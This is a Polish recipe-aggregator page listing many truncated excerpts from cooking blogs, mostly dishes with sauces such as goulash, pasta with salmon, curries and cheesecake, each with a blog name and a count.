delikatnie polej je z wierzchu.Przykryj i wstaw do piekarnika. Cebulę pokrój w piórka i po 20 min dodaj ją do mięsa. Dolej wodę i od czasu do czasu polewaj sosem mięso. Piec około 1h do miękkości mięsa

O kuchni z uczuciem
Gulasz z wieprzowiny. 229

małym ogniu. Od czasu do czasu pomieszać i w razie potrzeby uzupełnić brakującą wodę. Kiedy mięso będzie już miękkie dodać mąkę ziemniaczaną rozpuszczoną w wodzie. Doprowadzić do wrzenia. Sos powinien być gęsty. Polecam z ziemniakami, ryżem, makaronem lub kluskami

O kuchni z uczuciem
Obiad wegetariański- gnocchi sardi z pulpetami w sosie pomidorowym 206

lekko orzechowy smak. Ja podałam go w nieco bogatej formie. Użyłam wegetariańskiego gotowego dania ze słoika.  Pulpety! Składniki gnocchi sardi muszle rodzinnej wytwórni makaronów   Fabijańscy pulpety w sosie pomidorowym  Primavika Ugotuj muszelki al dente, nie przesadz z gotowaniem, maja być nieco twardawe. Odcedz, przemiszaj delikatnie z oliwą z oliwek najwyższej jakości. Podgrzej wegetarianskie pulpety. Połóż na makaronie

Z Kuchni Do Kuchni
Grzanki francuskie w jajku z gorgonzolą i salsą paprykową. 203

ścięcia na maśle klarowanym. Ściągamy z patelni, układamy na nich szynkę, ser edamski i kawałki gorgonzoli i zapiekamy pod grillem na ruszcie w temperaturze 180 stopni przez 5 minut. Sos. Kilka obranych płatów papryki siekamy i łączymy z jogurtem naturalnym, pieprzem i parmezanem. Polewamy nim liście sałaty i grzanki. Szybko, pysznie i na temat

BaRepas
Butter chicken 190

minuty. Dolać wody, listki laurowe, przykryć i dusić 30 minut aż mięso się ugotuje.  Po tym czasie dodać śmietanę, wymieszać i gotować bez przykrycia kolejne 15 minut aż sos zgęstnieje. Jak zawsze, podawać z  ryżem  i/lub  indyjskimi chlebkami

W kuchni wieczorem
Kremowy Sernik z Musem Borówkowym 176

wody Mąkę mieszamy z wodą do rozpuszczenia się. Borówki wsypujemy z cukrem do garnka, wlewamy rozpuszczoną mąkę. Stawiamy na palniku. Ciągle mieszając doprowadzamy do rozpuszczenia się cukru i zgęstnienia sosu. Odstawiamy na bok do ostygnięcia. Masa serowa: 1 kg sera kremowego lub gotowego na serniki 250 g cukru trzcinowego 4 łyżki mąki 2 łyżeczki ekstraktu z wanilii 3 jajka

Made By Mom And Son
56 przepisów czyli Karnawał z Moją smaczną kuchnią! 287

kiszonej kapusty z koperkiem Surówka z kiszonej kapusty Surówka z z kiszonej kapusty z czerwoną cebulą Tarta z ciasta francuskiego z cukinią  Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Tarta z cukinią, brokułami i sezamem Tarta z ciasta francuskiego z cukinią i czerwoną cebulą Zielone babeczki z pecorino Zielona soczewica w pomidorach pelati Ziemniaczana sałatka

Moja smaczna kuchnia
ZUPA MEKSYKAŃSKA 323

słodką paprykę. Smażymy  mieszając, i rozdrabniając mięso na cząstki. Następnie zalewamy mięso bulionem lub jeśli nie mamy przegotowaną wodą. Dorzucamy ziemniaki pokrojone w kostkę. Wlewamy pomidory w sosie własnym oraz koncentrat pomidorowy. Dorzucamy kukurydzę. Gotujemy na małym ogniu ok 20 minut. Na koniec wlewamy czerwoną fasolę wraz zalewą doprawiamy do smaku łyżką ketchupu.  Ugotowana zupę przed podaniem możemy

Walijskie Pichcenie
Łosoś pieczony w folii 370

Piekarnik nagrzewamy do 180 stopni. Łososia pieczemy ok. 40 minut w dowolnym naczyniu żaroodpornym. Ja często podaję rybę z brokułami tradycyjnie ugotowanymi w osolonej wodzie, do których robię szybki sos koperkowy (jogurt naturalny, koperek, sól, pieprz), ale możecie do niej przygotować wszystko, na co macie ochotę. Smacznego

Sagneska - gotowanie i lifestyle
Sałatka z awokado i pomarańczą 430

obrać i pokroić na małe kawałki. Przygotowane składniki ułożyć na sałacie. Całość posypać ziołami do sałatek i skropić sokiem wyciśniętym z pozostałej połówki pomarańczy. Sałatkę można również skropić gotowym sosem sałatkowym-włoskim lub zrobić sosik mieszając 4 łyżki oliwy, 4 łyżki soku pomarańczowego i 1 łyżeczkę keczupu. Wszystkie wersje dressingu są przeze mnie wypróbowane i pasują do sałatki

Monia miesza i gotuje
Warkocz z nadzieniem brokułowym 370

mleka łyżka oliwy z oliwek pół łyżeczki cukru Farsz: brokuł por 8-10 pieczarek 10 plasterków dowolnej wędliny ( u mnie szynka) 3-4 łyżki śmietany 18%, do zup i sosów sól, pieprz, zioła prowansalskie   Zaczyn: Mleko podgrzewamy, powinno być ciepłe ale nie gorące. Dodajemy do niego drożdże i cukier. Mieszamy, aż wszystko się rozpuści i odstawiamy

Czerwona Porzeczka
Kurczak w sosie brokułowo-kokosowym 336

Delikatny kurczak w aromatycznym sosie z brokułów i wiórek kokosowych.  Pomysł na danie narodził się już jakiś czas temu, ale dopiero dzisiaj zabrałam się za jego realizację. Z początku nie byłam pewna, co wyjdzie z takiego połączenia smaków, ale końcowy efekt bardzo pozytywnie mnie zaskoczył. Wyszło pysznie i nawet trochę ,,orientalnie" ;). Oczywiście koniecznie do powtórzenia! Składniki (na 2 porcje

Kuchnia Ellie
Makaron razowy z ciecierzycą 277

Następnie dodać do nich przeciśnięty przez praskę czosnek i posiekaną drobno papryczkę chili. Następnie dodać na patelnię ciecierzycę i pomidory z puszki. Wszystko dusić około 10-15 minut aż sos się zredukuje. Doprawić majerankiem, tymiankiem, solą i pieprzem. Dodać na patelnię makaron, wymieszać i podawać

Anielska Kuchnia Ani
Makaron ze szpinakiem i pomidorkami koktajlowymi 238

Zdecydowanie makaron! U mnie ostatnio króluje szpinak - w każdej postaci. Niedługo dodam jeszcze pomysł na jajecznicę z jego dodatkiem. Dzisiaj jednak zdecydowałam się na makaron z pomidorkami koktajlowymi i sosem na bazie śmietany i jogurtu naturalnego. Danie można uzupełnić dowolnym serem, ale ja najchętniej wybrałabym pokruszony ser kozi. Składniki /dla 2 osób/: 1/2 opakowania makaronu penne 3 garście świeżych liści

Pasja Smaku
Śledź z duszonym jabłkiem 210

zeszklenia się cebuli.  Następnie dodaj koncentrat pomidorowy, zamieszaj i duś razem jeszcze kilka minut mieszając.  Dopraw pieprzem oraz małą szczyptą soli. Śledzie połącz z  przestudzonym sosem i wstaw do lodówki, by całość się "przegryzła

Apetyt na więcej - jadłodajnia dla duszy i ciała
Kotleciki z czarnego ryżu 230

małe, że kotletami jakoś niezręcznie je nazywać. Oprócz czarnego ryżu, który jest tak naprawdę ciemno fioletowy, potrzebne jest jeszcze tofu i grzyby shitake. Plus maszynka do mielenia i sos … Czytaj dalej

slodkokwasnapl
Makaron z łososiem - bardzo prosty i szybki przepis 167

Uwielbiam makarony wszelkiego rodzaju, dlatego często pojawiają się na moim stole. Dziś przedstawiam Wam bardzo prosty przepis na makaron w sosie śmietanowym z najbardziej lubianą przeze mnie rybą czyli łososiem. składnik: ok 250 g filetu z łososia, 200 g makaronu ze szpinakiem i pomidorami (ten zakupiłam w sklepie  Piotr i Paweł), 4 łyżki śmietanki 30%, 4 łyżki jogurtu greckiego

Cukier&Puder
Makaron z łososiem, cukinią i suszonymi pomidorami 178

Witajcie! W książce "Makarony i sosy " znalazłam przepis na pappardelle z tuńczykiem, cukinią i suszonym pomidorami, troszkę go zmieniłam użyłam łososia i makaronu gniazdka, zwiększyłam ilość nie których produktów i wyszło mi coś takiego :) składniki na 3 porcje: 20 dag makaronu 7 sztuk suszonych pomidorów 300 g łososia 4 dag sera żółtego ( ja nie użyłam) 1 mała cukinia 3 ząbki

Cukier&Puder
Lekka sałatka z tuńczykiem 346

Dziś propozycja na sałatkę , którą możecie zjeść na przykład na drugie śniadanie:) składniki  ok 100g mieszanki sałat  pół puszki tuńczyka w sosie własnym 1/4 dużej czerwonej papryki 4 pomidory suszone Pomidorki kroimy w ćwiartki, paprykę w kostkę.  Sałatę przekładamy do pojemnika , dodajemy tuńczyka, pomidorki i paprykę całość oblewamy ok 1 łyżką zalewy z pomidorków.   Przed zjedzeniem

Cukier&Puder
Makaron ze szpinakiem i tuńczykiem 184

propozycję na obiad,a mianowicie znienawidzony w dzieciństwie szpinak, który uczę się na nowo polubić :)  składniki na 2 porcje: 5 kostek szpinaku mrożonego ( lepszy świeży) puszka tuńczyka w sosie własnym 6 pomidorów suszonych makaron pełnoziarnisty tagliatelle 5 gniazdek 1 mała cebula 2 łyżki śmietany 1 łyżeczka masła sól, pieprz, gałka muszkatołowa Makaron gotujemy al dente. Czosnek siekamy drobno, podsmażamy

Cukier&Puder
Makaronowa sałatka z kurczkiem 386

krążki.  Marchewkę ścieramy na tarce o dużych oczkach.  Makaron sałatę i resztę składników przekładamy do miski. Musztardę i oliwę  mieszamy doprawiamy solą i pieprzem. Sałatkę oblewamy sosem tuż przed podaniem i mieszamy. SMACZNEGO

Cukier&Puder
Zapiekanka ziemniaczana 181

minut w 170 stopniach.  W czasie zapiekania warzyw kroimy fetę w kostkę , posypujemy ostrą papryką , ziołami prowansalskimi i zalewamy oliwą z oliwek. Upieczone warzywa polewamy fetą i sosem oraz posypujemy delikatnie serem ( oczywiście nie trzeba). Smacznego! Kasia

Cukier&Puder
Makaron z tuńczykiem z "gotowca" 146

mnie jest to danie dość ostre za czym ja nie za bardzo przepadam. Ale trzeba przyznać, faktycznie przygotowuje się je bardzo szybko.    składniki puszka tuńczyka w sosie własnym 1 papryka czerwona 1 średnia cebula opakowanie " szybkie z patelni" Lubella fasolka szparagowa 150g ( ja nie miałam , więc pominęłam ten składnik ) Postępowałam według instrukcji Zagotuj wodę w czajniku. Cebulę

Cukier&Puder
Makaron z cukinią 163

Dodajemy posiekaną pietruszkę mieszamy.  W miseczce mieszamy ze sobą serek i jogurt,   dodajemy do warzyw.  Mieszamy i doprawiamy po raz kolejny. Nakładamy porcje makaronu i oblewamy sosem.  Smacznego

Cukier&Puder
Sernik czekoladowy z musem z białej czekolady 180

wymieszać, do roztopienia się czekolady. Odstawić do przestudzenia, konsystencja powinna pozostać płynna. W misie miksera ubić śmietanę kremówkę, na sztywno.  Stopniowo, w 3 turach dodawać do ubitej kremówki sos czekoladowy, delikatnie mieszając tylko do połączenia. Mus z białej czekolady wyłożyć na wystudzony sernik, wyrównać. Schłodzić przez 12 godzin w lodówce (całą noc). I tak jak poprzednio im dłużej stoi

Cukier&Puder
Palak paneer, czyli szpinak z serem paneer 253

minut aż odparuje nadmiar wody. Dosolić do smaku. Dodać śmietanę i dusić kolejne 5 minut. Można dodać cukru, soli, pieprzu, kminu - wg uznania. To danie zakłada, że szpinakowy sos jest rozdrobniony. Jeśli więc kupiliście szpinak świeży polecam podsmażyć go z przyprawami bez pomidorów, cebuli i panner, a całość zmiksować. Potem podsmażyć cebulę, paneer, pomidory i dodać zmiksowaną masę. Można też

W kuchni wieczorem
TORT RAZOWY ZE SZPINAKIEM 222

drugą częścią ciasta. Wstawić do piekarnika na 10 minut.  Jajko roztrzepać ze śmietaną,gałką muszkatołową i serem. Wyciągnąć nasz tort z piekarnika po upływie czasu, rozprowadzić sos, posypać papryką i ponownie zapiec ok. 10 minut. Podawać na gorąco

pieprzny smaczek
Placki z serka wiejskiego 3117

mieszamy. Rozgrzewamy patelnię, smarujemy olejem i smażymy na niej placuszki po kilka minut z każdej strony (podczas smażenia, patelnię przykrywamy pokrywką). Gotowe przekładamy na talerz i podajemy np. z sosem wiśniowym , kremem orzechowym  lub posmarowane masłem z awokado

Kuchenny Skrawek Nieba
Trendy, regionalizm i rewolucja. Moskole z niebanalnym masłem 325

jest fanatykiem takim samym jak w stosunku do czekolady. Na kulinarną scenę wkroczyć ma również sriracha, nie wiem jaki to trend, bo u mnie jest od dawna. To taki sos tajski z chilli. Czyli psiamać wyprzedzam trendy. Zaczyna się powoli szał na kiszonki połączony z fobią o nieszczelnych jelitach, ale o tym kiedy indziej. Mnie najbardziej cieszy nadchodzący trend, którego

ladykitchen
Moqueca de frango czyli brazylijska potrawka z kurczaka. 360

Krok 4:  Garnek przykrywamy i dusimy 10-15 minut na średnim ogniu. Czas zależny oczywiście od kuchenki.  Później odkrywamy przykrywkę i gotujemy przez 5 minut, tak aby sos zgęstniał. Krok 5:  gotujemy ryż biały długoziarnisty. A o to i efekt końcowy

Smaki Brazylii
Cukinie faszerwane mięsem mielonym i kaszą jaglaną 215

razu zakupiłam kilka sztuk. Nie zdążyłam dojść do kasy, a już miałam plan co z nimi zrobić. Pyszny farsz z drobiowego mięsa mielonego i kaszy jaglanej. Całość w pomidorowym sosie z dodatkiem samej cukinii, a wierzch obsypany mozzarellą. Pychota! Potrawa wolna od glutenu. Czas przygotowania: 30 minut Ilość porcji: 3 Składniki: Ok. 9 małych cukinii 0,5 kg mięsa mielonego

Kolizje Smaków
Łososiowa przekąska fit 234

koperek. Na talerzu stawiamy obręcz do formowania dań i warstwowo układamy marchewkę, jajko na twardo, ogórka i łososia, lekko przyciskając każdą warstwę. Przed podaniem zdejmujemy obręcz. Polewamy sosem jogurtowym

Kulinarne przygody Gatity
Jak ugotować najlepszą ciecierzycę? Co zdrowego znajdziesz w ciecierzycy? 194

sylwetki-100 g ciecierzycyto 160 kcal ZASTOSOWANIE: Ciecierzyca znakomicie pobudza wyobraźnię kulinarną,dlatego znajduje wielorakie zastosownie w wielu kuchniach świata .Można z niej przyrzadzić : puree,dodawać do zup,potrawek,sosów oraz sałatek.Zmielone ugotowane ziarno ciecierzycy może stanowić farsz do pierogów i naleśników. Oprócz tego służy ona do wyrobu specjalnej mąki o nazwie besan oraz tzw.hummusu-smarowidła do chleba

Gotuj zdrowo!Guten Appetit!
Gulasz z szynki wieprzowej z warzywami 224

wodę. 3. Kiedy mięso jest miękkie, dodajemy kminek. 4. W misce wymieszać 2 łyżki śmietany i 2 łyżki mąki z odrobiną zimnej wody, wlać do mięsa i gotować, aż sos zgęstnieje. Doprawić do smaku. 5. Podawać wedle uznania - najbardziej lubię taki gulasz z kaszą gryczaną. Smacznego

Kuchnia domowa Ani
Placki ziemniaczane z wkładką czyli indyk w placku ziemniaczanym 236

warstwą masy ziemniaczanej . Smażę około 4 minut z każdej strony. Gotowe placki układam na blaszce i wkładam do piekarnika z termoobiegiem, aby były ciepłe zanim usmażę pozostałe. Podaję z sosem pieczarkowym. Smacznego

Magiczna kuchnia Darii
SPAGHETTI POROWO-SEROWE 305

zagotowuję. W międzyczasie gotuję 2 porcje makaronu spaghetti (ok. 1/2 paczki), wrzucając go do gotującej się, mocno osolonej wody. Kiedy będzie odpowiednio miękki, przecedzam i wrzucam na patelnię z sosem. Mieszam, podgrzewam chwilę i od razu podaję. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Makaron z szpinakiem i kurczakiem 1941

Wpis pochodzi z www.mgotuje.pl Lubicie makaron? Ja bardzo Często wymyślam nowe odsłony jego podania Ostatnio zrobiłam go w połączeniu z szpinakiem, serem feta i kurczakiem w sosie śmietanowym. Jest to prosty i bardzo smaczny pomysł na szybki obiad. Zachęcam do wypróbowania Post Makaron z szpinakiem i kurczakiem pojawił się poraz pierwszy w Marta

Marta Gotuje
G.. grillowany kurczak w sosie sojowym i kaszą jaglaną. 342

dziś przygotować i zaryzykować. I było warto!  Składniki: 1 x pierś kurczaka 1/2 szklanki kaszy jaglanej 3 szklanki wody 1 łyżka oliwy marynata: 1 łyżeczka oliwy, 1 łyżka sosu sojowego ciemnego, czosnek, papryka ostra w proszku, szczypta soli pieprzu 1 duża marchewka, 1/2 szklanki groszku zielonego, 4 duże pieczarki, 1/2 cebuli pieprz, sól, papryka słodka w proszku, pieprz, sól

Kitchens Alphabet
Sałatka owocowa z amaretto i syropem miętowym 203

ochotą na zjedzenie owoców, a chęcią na drinka lub coś, co by zawierało procenty :) Pogłówkowałam i uczyniłam smakowity mariaż owoców z alkoholem . SKŁADNIKI 2 brzoskwinie 2 banany 2 jabłka SOS syrop z mięty - przepis --> TUTAJ amaretto (lub inny ulubiony likier) liście mięty sok z limonki lub cytryny WYKONANIE Owoce kroimy w kostkę, przekładamy do naczynia i skrapiamy (ilością według

Zofiana
Ekspresowa tarta z grzybami leśnymi 185

międzyczasie smażymy grzyby na maśle i doprawiamy według uznania. Do śmietany dodajemy poszatkowany koperek,  roztrzepane jajko i doprawiamy. Wyciągamy ciasto z piekarnika, wykładamy grzyby i polewamy przygotowanym sosem. Na koniec posypujemy żółtym serem i zapiekamy 10-15 minut w 200 stopniach. Jadacie grzyby, czy nie przepadacie za nimi

Zofiana
Sposób na miąższ z sokowirówki - Pyszne ciasteczka 257

którym czasem nie wiadomo, co zrobić. Jedni wyrzucają (co jest wielkim błędem ! ), a inni (tacy, jak ja :-), znajdują dla pulpy przeróżne zastosowania. Robię surówki, dodaję do zup, gulaszu, czy sosów oraz piekę ciasteczka. Poniżej przepis na ciastka jabłkowo-marchewkowe . SKŁADNIKI 1-2 szklanki pulpy z sokowirówki 8 łyżek płatków owsianych 1 łyżeczka proszku do pieczenia 1-2 łyżki miodu

Zofiana
Sycąca zapiekanka z makaronem, pomidorami i mięsem 370

duet bardzo udany i sycący, a jak się jeszcze człowiek postara, dzięki takiej zapiekance ma na 2 dni obiad z głowy. Zapiekanka nie była polewana przed pieczeniem żadnym sosem, ale jak macie ochotę, to śmiało :) SKŁADNIKI 300-500g mięsa mielonego 300g makaronu 2-3 duże pomidory 1 ząbek czosnku starty żółty ser przyprawy: bazylia, oregano, tymianek, sól, pieprz, cynamon

Zofiana
Curry z kurczakiem, bakłażanem, kapustą pekińską i papryką 252

curry w proszku) czosnek imbir  kmin rzymski sól  kilka łyżek jogurtu naturalnego lub śmietany olej ryż basmati Marynata do kurczaka Gotowa mieszanka przypraw + olej lub sól, cukier, sos sojowy, czosnek, ocet ryżowy (jabłkowy) + olej WYKONANIE Kurczaka kroimy na mniejsze kawałki i marynujemy minimum 30 minut w lodówce. Warzywa kroimy na nie za małe kawałki. Smażymy kurczaka, pod koniec

Zofiana
Salca tomatas me kima, czyli sos pomidorowy z mięsem mielonym 378

czosnek. Dodajemy mięso i smażymy do zarumienienia. Dodajemy pomidory, cynamon, doprawiamy cukrem, kuminem, oregano, solą i pieprzem. Dusimy około godziny na wolnym ogniu, do uzyskania gęstej konsystencji. Z gotowego sosu usuwamy cynamon. Podajemy z makaronem. Filed under: Krycha i Zdzichu na wakacjach Tagged: cynamon , kuchnia grecka , mięso mielone , pomidory , wieprzowina , wołowina

Dobra zagrycha u Krychy i Zdzicha
Karnawałowy ring 343

smażymy mięso, dodajemy pokrojoną w kosteczkę cebulę i papryk, wszystko smażymy. Dodajemy sprasowany czosnek, pomidory, kukurydzę i posiekaną pietruszkę. Dodajemy przyprawy i smażymy, aż powstanie gesty sos. Na małym ogniu ok 15 minut. Farsz odstawiamy do ostygnięcia. Ciasto rozwałkowujemy na cienki placek ok 0,3 mm i wycinamy z niego trójkąty. Zewnętrzne trójkąty układamy

Niezły Młynek
Schab pieczony 259

minut, aby odpoczęło. Tak przygotowane mięso jest soczyste, można podawać na ciepło, a po wystudzeniu na drugi dzień jako wędlinę. Powstały sok z pieczenia można użyć do przygotowania sosu, lub jako wywar mięsny do zupy

Kuchcik gotuje
Galaretka dyniowo - pomarańczowa 219

sokiem pomarańczowym i podgrzewamy, żeby było ciepłe, ale nie gorące (w temperaturze powyżej 36 st. zaczynają ginąć witaminy). Dodajemy cukier i żelatynę, dokładnie mieszamy. Przelewamy do kwadratowych miseczek na sosy i wstawiamy na całą noc do lodówki

W poszukiwaniu inspiracji
Pasta rybna z dorsza i sieji z koperkiem i cytryną z szybkowaru 211

wylewaj. Jeśli nie masz co z nim począć w danej chwili, przecedź przez sitko i zamroź - będzie fantastyczną bazą do zrobienia sosu do ryby.  Ryby gotuj w wywarze, w otwartym garnku, nie pod ciśnieniem! Do przepisu można użyć samego dorsza lub dowolnej innej białej ryby. Ja wymieszałam dorsza

Szybko Szybkowar
Farsz do uszek wigilijnych z szybkowaru 222

robocie kuchennym lub zmiel w maszynce do mielenia, możesz też posiekać bardzo drobno nożem wywar przelej przez drobne siteczko (możesz wykorzystać go później jako bazę do sosu lub zupy, albo po prostu zamrozić na inną okazję) przygotuj wszystkie miseczki z naszykowanymi składnikami do większej miski przełóż najpierw całość ugotowanych i posiekanych

Szybko Szybkowar
Cukiniowy makaron z piersią z kurczaka w lekkim sosie pomidorowym :) 188

cukiniowy makaron i gotujemy przez 4-5 minut, tak aby był średnio twardy. Makaron wykładamy na talerz, na nim układamy pierś z kurczaka, rozkładamy świeże pomidorki koktajlowe i polewamy sosem pomidorowym. Lekkie, sycące, aromatyczne i smaczne danie

Zdrowie na języku :P
Zdrowa surówka z kapusty pekińskiej z dodatkami :) 185

jest pyszna :) Pasuje do obiadu jak i kolacji, a nawet do podjadania między głównymi posiłkami :) Zdrowa, pełna warzyw, z lekkim, dietetycznym sosem. Można jeść ją bez ograniczeń :) UWAGA! Powoduje niemożność odciągnięcia od niej ręki :D Spróbujcie, warto, urozmaici Wasze dania i dostarczy dawkę witamin :) Składniki: - połowa kapusty pekińskiej ok. 500g - 3 średnie ogórki gruntowe - 1 średnia cebula - pół puszki kukurydzy

Zdrowie na języku :P
Współpraca z Barmar :) 238

odpowiem: do wszystkiego! I nie skłamie (oczywiście nie licząc słodkich potraw :)). Warzywa Barmar możesz dodać do wszystkiego i zrobić z nich cudowne potrawy :) Są doskonałe do mięs, lazanii, pizzy, sosów, zup, naleśników, devolay, makaronów, zapiekanek, tostów, jako przekąska, dodatek do obiadu, sałatek, surówek i do wiele, wiele innych potraw. Wystarczy tylko Twoja wyobraźnia, pomysł, a miejsce na warzywka zawsze się

Zdrowie na języku :P
Wege hot-dog z cukinii :) 162

więcej warzywek tym zdrowiej :) Na końcu wlać do hot-doga olej. 4. Wstawić do nagrzanego na 180*C piekarnika na 20 minut. Pałaszować na ciepło :) Można podawać z własnoręcznym sosem pomidorowym (pomidory + zioła = zmiksować

Zdrowie na języku :P
Sycąca pęczakowa z mięsem 218

cebule 3-4 ząbki czosnku 1/4 łyżeczki chili w proszku lub łyżka oliwy z chili czarny pieprz świeżo mielony sól najlepiej gruboziarnista 2 koncentraty pomidorowe, lub gotowe  sosy pomidorowe 1/2 łyżeczki cukru oliwa lub smalec Kaszę i przyprawy znajdziecie u sprawdzonego sprzedawcy  www.Skworcu.com.pl 1. Pęczak wypłukać w zimnej wodzie, zalać 2 szklankami wody, lekko posolić i gotować przez

Apetyczna babeczka
Kuchenne ABC - jak zrobić ser indyjski paneer 239

dosolimy i nie doprawimy innymi przyprawi wychodzi w smaku dość nijaki. Jednak nie jest to ser przeznaczony do jedzenia na kanapce, ale jako idealna białkowa wkładka do indyjskich sosów i potrawek. Składniki potrzebne do podstawowego przepisu to mleko i sok z cytryny. Ja jednak wolę ser jeszcze minimalnie przyprawić. Przedstawiam Wam więc przepis na trochę podrasowaną wersję paneera, żeby

W kuchni wieczorem
Sałatka ryżowa curry 464

Posolić, popieprzyć, przyprawić 1 łyżeczką curry, dodać łyżkę oleju – wymieszać i odstawić na min. 20 minut do lodówki. Usmażyć.  Do miski przełożyć ananasa, kukurydzę, kurczaka i ryż. Przygotować sos:  1 łyżeczka curry, majonez, ewentualnie jeszcze sól i pieprz. Wymieszać i połączyć z resztą składników. Smacznego, Anulla

Fabryka pomysłów
Placek Drożdżowy z Duszoną Cebulą i Wędzonymi Szprotkami 255

ciasto zyskało fajną puszystość? Trudno to opisać, nie jest puste i wyrośnięte, ale takie fajne mięciutkie, oczywiście wyrośnięte :) Smak jako całość? Rewelacja! Porcja idealna na dwie osoby. Podałam z sosem czosnkowym, moją wersją light i dla leniwych :) Źródło:  White Plate . Ciasto: 100 g mąki pszennej typ 0 (użyłam ze sklepu Mantini) 50 g mąki pszennej

Blondynka Gotuje
Figi z grilla z mascarpone i wędzonym kremem czekoladowym 164

uzyskamy ładny wzorek przypaleń od rusztu (nie przesmażyć fig!). Figi usunąć z grilla i odstawić do ostygnięcia na kilka minut. Figi usunąć z patyczków od szaszłyków. Figi podawać polane sosem Ganache z serkiem mascarpone na wierzchu. Udekorować liściem świeżej mięty. Figi z grilla z mascarpone i wędzonym kremem czekoladowym is a post from: naRuszcie.pl The post Figi z grilla

naRuszcie
Sałatka z ryżem i tuńczykiem 329

Mnie urzeka w niej lekko kwaskowaty posmak, cytryny który neutralizuje słodycz majonezu i doskonale komponuje się z tuńczykiem. Ryż dodaje jej lekkości. Składniki: 2 puszki tuńczyka w kawałkach w sosie własnym 2 woreczki ryżu (biały lub dziki) 1 puszka czerwonej fasoli sok z 1,5 cytryny 3 pomidory 1 duży ogórek 1 pęczek szczypiorku 2 łyżki majonezu  sól, pieprz

Pasja Smaku
Orientalne krewetki z cytrusami 213

Kolejna propozycja na uwielbiane przez nas krewetki, tym razem bardzo orientalnie, pikantnie i jak zwykle pysznie :) Składniki: cukier trzcinowy, 1 łyżka sok z pomarańczy i limonki łyżka sosu rybnego 300 g krewetek 2 ząbki czosnku świeży korzeń imbiru, ok 2 - 3 cm papryczka chilli łodyga trawy cytrynowej mała cebula pół łyżki mąki ziemniaczanej ryż Wykonanie: W naczyniu mieszamy ze sobą

Taste Of My Day
Sałatka meksykańska 2330

pieprz kolorowy sól Przygotowanie: Pora kroimy w paseczki i w miseczce solimy, zostawiając na kilka minut. Kukurydzę, fasolę odcedzamy na sitku.  Kęski piwne kroimy na drobne części. Sos: Majonez mieszamy z keczupem, aż będzie jednolita konsystencja i doprawiamy. Wszystko razem mieszamy. I cała sałatka gotowa

Lawendowe Niebo
Fasolka szparagowa na ciepło 226

następnie dodajemy mąkę i mieszamy. Po połączeniu się masła i mąki wlewamy pół szklanki zimnej! wody i mieszamy. Dodajemy przecier pomidorowy i całość trzeba zagotować. Do tak przygotowanego sosu wsypujemy fasolkę i kiełbaskę.  Doprawiamy do smaku: majerankiem, solą i pieprzem i gotujemy :) Pyszna ze świeżym pieczywem ;) Mniam

Lawendowe Niebo
Kotlety ryżowe 355

uzyskania jednolitej masy. Z masy formujemy małe kotleciki, obtaczamy je w bułce tartej i smażymy na głębokim oleju z pestek winogron.  Można je podawać z dowolnym sosem, ja wybrałam wersję z sałatką z pomidora i ogórka. Pyszne

Lawendowe Niebo
Kotleciki z jajek i kaszy gryczanej 206

uzyskania jednolitej masy ;) Do masy jajecznej dodać ugotowaną kaszę gryczaną i wymieszać. Formować małe kotleciki, obtaczać w bułce tartej i smażyć na złoty kolor. Można podawać z sosem grzybowym lub solo... a to już jest kwestia smaku

Lawendowe Niebo
Chili Con Carne 207

Zapraszam :)              Moja rodzinka uwielbia sosy więc swoje Chilli Con Carne przygotowałam w wersji rzadszej . Składniki : Około 1 kg mielonego mięsa najlepiej wołowego ale jeśli takiego nie macie może być wieprzowe . 1 puszka czerwonej fasoli 1 puszka kukurydzy 1/2 puszki białej fasoli 1 puszka pomidorów 2 cebule 1 papryka czerwona Około

Sama słodycz i szczypta chili
Tempura z warzywmi i krewetkami 172

więc bardzo trzeba się uwijać ze smażeniem:) Należy podawać ją zaraz po przygotowaniu. Tym razem podałam z surówka z czarnej rzepy i kiwi, a do namaczania podałam zwykły ciemny sos sojowy.  Największym hitem z całego talerza była cudna cebula - rewelacja

Magiczna kuchnia Darii
Gruziński lawasz z adżapsandałem 255

Całość duszę około 20 minut z kurkumą i kolendr. Na końcu dosmaczam sola i pieprzem. Placki wypełniam powstałym farszem, nakładam kawałki sera bałkańskiego i składam na pół. Podaję polane sosem jogurtowo czosnkowym i posypane posiekana pietruszką

Magiczna kuchnia Darii
Rozgrzewające curry warzywne z jarmużem i serem paneer (panir) / Warming vegetable curry with kale and cheese paneer (Panir) 161

łyżce oliwy aby zarumienił się z każdej strony. Do duszących się warzy dodaje pokrojone liście jarmużu. Podduszam jeszcze 3 minuty, zalewam pozostałym mlekiem kokosowym, dodaje sok z limonki. Do sosu wkładam podsmażony paneer. Delikatnie mieszam i ściągam z ognia. Podaję z ryżem albo chlebkiem naan. Smacznego

Magiczna kuchnia Darii
Rybne curry z małżami podane z chlebkiem naan / Fish curry with mussels served with naan breads 186

Następnie dodałam pastę curry wszystko dokładnie wymieszałam i po około 2 minutach zalałam bulionem warzywnym. Całość doprowadziłam do wrzenia. Zmniejszyłam ogień i gotowałam pod przykryciem około 25 minut, aż sos uzyskał odpowiednią konsystencję ( powinien być dość gęsty). Po tym czasie ułożyłam równomiernie kawałki łososia i gotowałam 4 minuty, po czym przewróciłam kawałki na drugą stronę i gotowałam kolejne 4 minuty

Magiczna kuchnia Darii
Ziemniaczane bombay curry / Bombay potato curry 234

chilli, słodka paprykę kolendrę, kumin i dodaję szklankę wody. Duszę około 10 minut. Ugotowane ziemniaki obieram i kroje na kawałki (średniej wielkości - ziemniak na 8 kawałków) i dodaje do sosu. Dodaję garam masalę, brązowy cukier i doprawiam sola do smaku. Duszę na wolnym ogniu kolejne 10 minut. Na końcu dodaje sok z cytryny. Podaję udekorowane świeżą kolendrą z dodatkiem ryżu

Magiczna kuchnia Darii
Pieczone pierogi serowe ze szpinakiem / Baked cheese dumplings with spinach 385

albo dałam zbyt dużo farszu bo pierożki trochę się rozeszły, farsz jednak był dość gęsty i nie wypłynął, więc w niczym to nie przeszkadzało. Pierogi podałam na ciepło z sosem czosnkowym.  Z podanego przepisu wyszły mi 33 pierogi, część która pozostała po wczorajszym obiedzie (pierogi są dość sycące) jest doskonałą przekąską na zimno

Magiczna kuchnia Darii
Najlepsze domowe gofry z balsamicznymi truskawkami 237

Podsmażam około 4 minut - czas od czasu delikatnie mieszając. Pod koniec dodaję ocet balsamiczny, szczyptę pieprzu i połowę bazylii. Na upieczonych gofrach rozsmarowuję masę którą dekoruję truskawkami i powstałym sosem. Całość posypuję siekana bazylią

Magiczna kuchnia Darii
Sałatka z tuńczykiem 205

